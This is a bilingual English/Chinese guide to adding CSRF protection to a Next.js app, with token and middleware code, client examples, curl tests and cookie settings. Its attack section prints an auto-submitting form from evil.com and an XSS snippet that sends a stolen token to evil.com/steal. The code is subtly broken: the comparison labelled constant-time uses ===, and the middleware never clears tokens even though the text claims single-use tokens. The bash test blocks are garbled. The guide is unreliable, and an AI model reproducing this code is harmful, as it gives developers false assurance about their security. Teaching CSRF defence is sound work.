csrf-protection
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseCSRF Protection - Preventing Cross-Site Request Forgery
CSRF防护 - 防范跨站请求伪造
What CSRF Attacks Are
什么是CSRF攻击
The Attack Scenario
攻击场景
Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.
This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.
想象你已登录网银,在另一个标签页中访问了恶意网站。该网站包含隐藏代码,会向你的银行提交一个表单:“向攻击者账户转账10000美元”。由于你处于登录状态,浏览器会自动发送会话Cookie,银行便会处理这笔转账。
这就是跨站请求伪造(CSRF)——诱骗浏览器发起你并未授权的请求。
Real-World CSRF Attacks
真实世界中的CSRF攻击
Router DNS Hijacking (2008):
A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.
YouTube Actions (2012):
YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.
路由器DNS劫持(2008年):
多款家用路由器存在CSRF漏洞,攻击者可诱骗用户访问恶意网站,进而修改路由器DNS设置。受害者虽未遭受财产损失,但会被长期重定向到钓鱼网站,受影响的路由器多达数百万台。
YouTube用户操作劫持(2012年):
YouTube曾存在CSRF漏洞,攻击者可通过诱骗用户访问构造好的URL,以其他用户的身份执行操作(如点赞、订阅等)。
Why CSRF Is Still Common
为何CSRF漏洞仍普遍存在
According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?
- It's invisible when it works (users don't know they made a request)
- Easy to forget to implement (no obvious broken functionality)
- Developers often rely solely on authentication without checking request origin
据OWASP统计,35%的被测Web应用存在CSRF漏洞。原因如下:
- 攻击成功时无明显迹象(用户毫不知情)
- 开发者容易忽略防护实现(不会直接导致功能故障)
- 开发者常仅依赖身份验证,未验证请求来源
Our CSRF Architecture
我们的CSRF防护架构
Implementation Features
实现特性
-
HMAC-SHA256 Cryptographic Signing (industry standard)
- Provides cryptographic proof token was generated by our server
- Even if intercepted, attackers can't forge tokens without secret key
-
Session-Bound Tokens
- Tokens can't be used across different user sessions
- Each user gets unique tokens
-
Single-Use Tokens
- Token cleared after validation
- Window of opportunity is seconds, not hours
- If captured, useless after one request
-
HTTP-Only Cookies
- JavaScript cannot access tokens
- Prevents XSS-based token theft
-
SameSite=Strict
- Browser won't send cookie on cross-origin requests
- Additional layer of protection
-
HMAC-SHA256加密签名(行业标准)
- 提供令牌由服务器生成的加密证明
- 即使令牌被拦截,攻击者若无密钥也无法伪造
-
会话绑定令牌
- 令牌无法跨不同用户会话使用
- 每个用户拥有唯一令牌
-
一次性令牌
- 验证后立即清除令牌
- 攻击窗口仅为几秒而非数小时
- 即使被捕获,使用一次后即失效
-
HTTP-Only Cookie
- JavaScript无法访问令牌
- 防范基于XSS的令牌窃取
-
SameSite=Strict
- 浏览器不会在跨域请求中发送Cookie
- 额外防护层
Implementation Files
实现文件
- - Cryptographic token generation
lib/csrf.ts - - Middleware enforcing verification
lib/withCsrf.ts - - Token endpoint for clients
app/api/csrf/route.ts
- - 加密令牌生成逻辑
lib/csrf.ts - - 强制验证的中间件
lib/withCsrf.ts - - 供客户端获取令牌的端点
app/api/csrf/route.ts
How to Use CSRF Protection
如何使用CSRF防护
Step 1: Wrap Your Handler
步骤1:包装处理函数
For any POST/PUT/DELETE endpoint:
typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// Your business logic here
// Token automatically verified by withCsrf
return NextResponse.json({ success: true });
}
// Apply CSRF protection
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // Required for crypto operations
};针对所有POST/PUT/DELETE端点:
typescript
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// 你的业务逻辑
// 令牌会被withCsrf自动验证
return NextResponse.json({ success: true });
}
// 应用CSRF防护
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // 加密操作需要
};Step 2: Client-Side Token Fetching
步骤2:客户端获取令牌
Before making a protected request, fetch the CSRF token:
typescript
// Fetch CSRF token
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// Use token in POST request
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // Include token in header
},
credentials: 'include', // Important: send cookies
body: JSON.stringify(data)
});发起受保护请求前,先获取CSRF令牌:
typescript
// 获取CSRF令牌
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// 在POST请求中使用令牌
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // 在请求头中包含令牌
},
credentials: 'include', // 重要:发送Cookie
body: JSON.stringify(data)
});Step 3: What Happens Automatically
步骤3:自动执行的验证流程
When wraps your handler:
withCsrf()- Extracts CSRF token from header
X-CSRF-Token - Extracts CSRF cookie from request
- Verifies token matches cookie using HMAC
- Clears token after validation (single-use)
- If valid → calls your handler
- If invalid → returns HTTP 403 Forbidden
当包装处理函数时:
withCsrf()- 从请求头中提取令牌
X-CSRF-Token - 从请求中提取CSRF Cookie
- 使用HMAC验证令牌与Cookie是否匹配
- 验证后清除令牌(一次性使用)
- 验证通过 → 调用你的处理函数
- 验证失败 → 返回HTTP 403 Forbidden
Complete Example: Protected Contact Form
完整示例:受保护的联系表单
typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// Validate input
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// Process contact form
await sendEmail({
to: 'admin@example.com',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};typescript
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// 验证输入
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// 处理联系表单
await sendEmail({
to: 'admin@example.com',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// 同时应用速率限制和CSRF防护
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};Frontend Integration Example
前端集成示例
typescript
// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. Fetch CSRF token
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. Submit form with token
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('Message sent successfully!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('Security validation failed. Please refresh and try again.');
} else if (response.status === 429) {
alert('Too many requests. Please wait a moment.');
} else {
alert('Failed to send message. Please try again.');
}
} catch (error) {
console.error('Error:', error);
alert('An error occurred. Please try again.');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="Name"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="Email"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="Subject"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="Message"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">Send Message</button>
</form>
);
}typescript
// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. 获取CSRF令牌
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. 携带令牌提交表单
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('消息发送成功!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('安全验证失败,请刷新后重试。');
} else if (response.status === 429) {
alert('请求过于频繁,请稍后再试。');
} else {
alert('消息发送失败,请重试。');
}
} catch (error) {
console.error('Error:', error);
alert('发生错误,请重试。');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="姓名"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="邮箱"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="主题"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="消息"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">发送消息</button>
</form>
);
}Attack Scenarios & Protection
攻击场景与防护效果
Attack 1: Malicious Website Submits Form
攻击1:恶意网站提交表单
Attack:
html
<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // Auto-submit
</script>Protection:
- No CSRF token in request → withCsrf() returns 403
- User's account safe
攻击方式:
html
<!-- 攻击者网站:evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // 自动提交
</script>防护效果:
- 请求中无CSRF令牌 → withCsrf()返回403
- 用户账户安全
Attack 2: XSS Attempts to Read Token
攻击2:XSS尝试窃取令牌
Attack:
javascript
// Attacker injects script via XSS
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// Send token to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});Protection:
- Token is single-use
- Even if stolen, expires after one request
- HTTPOnly cookies prevent cookie theft
- SameSite=Strict prevents cross-origin cookie sending
攻击方式:
javascript
// 攻击者通过XSS注入脚本
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// 将令牌发送给攻击者
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});防护效果:
- 令牌为一次性使用
- 即使被窃取,使用一次后即失效
- HTTPOnly Cookie防范Cookie窃取
- SameSite=Strict防范跨域Cookie发送
Attack 3: Man-in-the-Middle Captures Token
攻击3:中间人攻击捕获令牌
Attack:
Attacker intercepts network traffic and captures CSRF token.
Protection:
- Single-use tokens become invalid after one use
- HTTPS required in production (enforced by HSTS)
- Short window of opportunity (seconds)
攻击方式:
攻击者拦截网络流量并捕获CSRF令牌。
防护效果:
- 一次性令牌使用后立即失效
- 生产环境要求HTTPS(由HSTS强制)
- 攻击窗口极短(仅几秒)
Technical Implementation Details
技术实现细节
Token Generation (lib/csrf.ts)
令牌生成(lib/csrf.ts)
typescript
import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// Generate random token
const token = randomBytes(32).toString('base64url');
// Create HMAC signature
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// Return token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// Recreate HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// Constant-time comparison to prevent timing attacks
return hmacPart === expectedHmac;
}typescript
import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// 生成随机令牌
const token = randomBytes(32).toString('base64url');
// 创建HMAC签名
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// 返回 token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// 重新生成HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// 常量时间比较以防范时序攻击
return hmacPart === expectedHmac;
}Middleware Wrapper (lib/withCsrf.ts)
中间件包装器(lib/withCsrf.ts)
typescript
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// Get token from header
const token = request.headers.get('X-CSRF-Token');
// Get session ID from cookie (simplified)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// Verify token
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// Token valid - call handler
return handler(request);
};
}typescript
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// 从请求头获取令牌
const token = request.headers.get('X-CSRF-Token');
// 从Cookie中获取会话ID(简化版)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// 验证令牌
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// 令牌有效 - 调用处理函数
return handler(request);
};
}What CSRF Protection Prevents
CSRF防护能防范什么
✅ Cross-site request forgery - Main protection
✅ Session fixation attacks - Tokens bound to sessions
✅ Cross-origin form submissions - SameSite=Strict
✅ Hidden iframe attacks - Token validation required
✅ One-click attacks - Token fetching step prevents
✅ 跨站请求伪造 - 核心防护目标
✅ 会话固定攻击 - 令牌与会话绑定
✅ 跨域表单提交 - SameSite=Strict拦截
✅ 隐藏iframe攻击 - 需令牌验证
✅ 一键式攻击 - 令牌获取步骤防范
Common Mistakes to Avoid
需避免的常见错误
❌ DON'T skip CSRF for POST/PUT/DELETE
typescript
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
// Vulnerable!
}❌ DON'T put CSRF tokens in URL parameters
typescript
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)❌ DON'T reuse tokens
typescript
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid❌ DON'T forget credentials: 'include'
typescript
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// Missing: credentials: 'include'
});✅ DO fetch fresh token for each sensitive operation
✅ DO use X-CSRF-Token header (not URL)
✅ DO apply to all state-changing operations
✅ DO combine with rate limiting for maximum protection
❌ 不要为POST/PUT/DELETE端点跳过CSRF防护
typescript
// 错误示例 - 无CSRF防护
export async function POST(request: NextRequest) {
// 存在漏洞!
}❌ 不要将CSRF令牌放在URL参数中
typescript
// 错误示例 - 令牌在URL中(会被记录、收藏、分享)
fetch(`/api/endpoint?csrf=${token}`)❌ 不要重复使用令牌
typescript
// 错误示例 - 存储令牌以便重复使用
const savedToken = getCsrfToken();
// 后续操作...
useSavedToken(savedToken); // 可能已过期或失效❌ 不要忘记添加credentials: 'include'
typescript
// 错误示例 - 不会发送Cookie
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// 缺失:credentials: 'include'
});✅ 每次敏感操作都获取新令牌
✅ 使用X-CSRF-Token请求头(而非URL)
✅ 对所有状态变更操作应用防护
✅ 结合速率限制以获得最大防护效果
Testing CSRF Protection
测试CSRF防护
Test 1: Valid Request
测试1:合法请求
bash
undefinedbash
undefinedGet CSRF token
获取CSRF令牌
TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')
-c cookies.txt | jq -r '.csrfToken')
TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')
-c cookies.txt | jq -r '.csrfToken')
Use token
使用令牌
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "Content-Type: application/json"
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
-b cookies.txt
-H "Content-Type: application/json"
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "Content-Type: application/json"
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
-b cookies.txt
-H "Content-Type: application/json"
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
Expected: 200 OK
预期结果:200 OK
undefinedundefinedTest 2: Missing Token
测试2:缺失令牌
bash
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'bash
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'Expected: 403 Forbidden - CSRF token missing
预期结果:403 Forbidden - CSRF token missing
undefinedundefinedTest 3: Invalid Token
测试3:无效令牌
bash
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'bash
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'Expected: 403 Forbidden - CSRF token invalid
预期结果:403 Forbidden - CSRF token invalid
undefinedundefinedTest 4: Token Reuse (Should Fail)
测试4:重复使用令牌(应失败)
bash
undefinedbash
undefinedGet token
获取令牌
TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')
-c cookies.txt | jq -r '.csrfToken')
TOKEN=$(curl -s http://localhost:3000/api/csrf
-c cookies.txt | jq -r '.csrfToken')
-c cookies.txt | jq -r '.csrfToken')
Use once (succeeds)
首次使用(成功)
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test"}'
Try to reuse same token (should fail)
尝试重复使用同一令牌(应失败)
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test2"}'
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test2"}'
curl -X POST http://localhost:3000/api/example-protected
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test2"}'
-b cookies.txt
-H "X-CSRF-Token: $TOKEN"
-d '{"title": "test2"}'
Expected: 403 Forbidden - Token already used
预期结果:403 Forbidden - Token already used
undefinedundefinedSecure Cookie Configuration
安全Cookie配置
Cookie Security Settings
Cookie安全设置
For any custom cookies in your application, always use these secure settings:
typescript
response.cookies.set('cookie-name', value, {
httpOnly: true, // Prevent XSS access
sameSite: 'strict', // CSRF protection
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
maxAge: 3600, // Expiration (1 hour)
path: '/', // Cookie scope
});Security Properties Explained:
- - JavaScript cannot access the cookie via
httpOnly: true, preventing XSS theftdocument.cookie - - Browser won't send cookie on cross-origin requests, blocking CSRF
sameSite: 'strict' - - Cookie only sent over HTTPS (prevents man-in-the-middle interception)
secure: true - - Cookie expiration time in seconds (shorter = more secure)
maxAge - - Where cookie is valid (restrict if possible)
path: '/'
应用中的所有自定义Cookie,应始终使用以下安全配置:
typescript
response.cookies.set('cookie-name', value, {
httpOnly: true, // 防范XSS访问
sameSite: 'strict', // CSRF防护
secure: process.env.NODE_ENV === 'production', // 生产环境仅HTTPS
maxAge: 3600, // 过期时间(1小时)
path: '/', // Cookie作用域
});安全属性说明:
- - JavaScript无法通过
httpOnly: true访问Cookie,防范XSS窃取document.cookie - - 浏览器不会在跨域请求中发送Cookie,阻止CSRF
sameSite: 'strict' - - Cookie仅通过HTTPS发送(防范中间人拦截)
secure: true - - Cookie过期时间(秒),越短越安全
maxAge - - Cookie生效路径(尽可能缩小范围)
path: '/'
Common Cookie Mistakes to Avoid
需避免的Cookie配置错误
❌ NEVER do this:
typescript
// BAD - Missing security flags
response.cookies.set('session', sessionId);
// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });
// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });✅ ALWAYS do this:
typescript
// GOOD - All security flags
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1 hour
path: '/'
});❌ 绝对不要这样做:
typescript
// 错误示例 - 缺失安全标记
response.cookies.set('session', sessionId);
// 错误示例 - 无httpOnly(易受XSS攻击)
response.cookies.set('session', sessionId, { httpOnly: false });
// 错误示例 - sameSite: 'none'(允许CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// 错误示例 - 无过期时间(永久有效)
response.cookies.set('session', sessionId, { httpOnly: true });✅ 始终这样做:
typescript
// 正确示例 - 包含所有安全标记
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1小时
path: '/'
});Environment Configuration
环境配置
Required Environment Variables
必需的环境变量
bash
undefinedbash
undefined.env.local
.env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
undefinedCSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
undefinedGenerate Secrets
生成密钥
bash
undefinedbash
undefinedGenerate CSRF_SECRET
生成CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
node -p "require('crypto').randomBytes(32).toString('base64url')"
Generate SESSION_SECRET
生成SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
⚠️ **IMPORTANT:**
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)node -p "require('crypto').randomBytes(32).toString('base64url')"
⚠️ **重要提示:**
- 绝不要将密钥提交到版本控制系统
- 开发/预发布/生产环境使用不同的密钥
- 定期轮换密钥(建议每季度一次)References
参考资料
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
- OWASP CSRF防护 cheat sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 访问控制失效: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
Next Steps
下一步操作
- For rate limiting protection: Use skill
rate-limiting - For input validation: Use skill
input-validation - For complete API security: Combine CSRF + rate limiting + validation
- For testing: Use skill
security-testing
- 如需速率限制防护:使用技能
rate-limiting - 如需输入验证:使用技能
input-validation - 如需完整API安全:结合CSRF + 速率限制 + 验证
- 如需测试:使用技能
security-testing